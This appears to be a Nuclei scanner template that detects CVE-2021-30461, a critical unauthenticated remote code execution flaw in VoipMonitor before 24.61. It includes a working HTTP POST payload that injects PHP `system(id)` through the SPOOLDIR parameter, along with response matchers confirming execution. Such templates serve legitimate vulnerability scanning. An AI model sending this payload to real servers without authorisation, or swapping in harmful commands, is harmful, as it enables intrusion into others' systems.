id: CVE-2021-30461 info: name: VoipMonitor <24.61 - Remote Code Execution author: shifacyclewala,hackergautam severity: critical description: VoipMonitor prior to 24.61 is susceptible to remote code execution vulnerabilities because of its use of user supplied data via its web interface, allowing remote unauthenticated users to trigger a remote PHP code execution vulnerability. reference: - https://ssd-disclosure.com/ssd-advisory-voipmonitor-unauth-rce/ - https://nvd.nist.gov/vuln/detail/CVE-2021-30461 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2021-30461 cwe-id: CWE-94 tags: cve,cve2021,rce,voipmonitor requests: - raw: - | POST /index.php HTTP/1.1 Host: {{Hostname}} Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Content-Type: application/x-www-form-urlencoded SPOOLDIR=test".system(id)."&recheck=Recheck matchers-condition: and matchers: - type: word words: - "uid=" - "gid=" - "groups=" - "VoIPmonitor installation" part: body condition: and - type: status status: - 200 # Enhanced by mp on 2022/05/17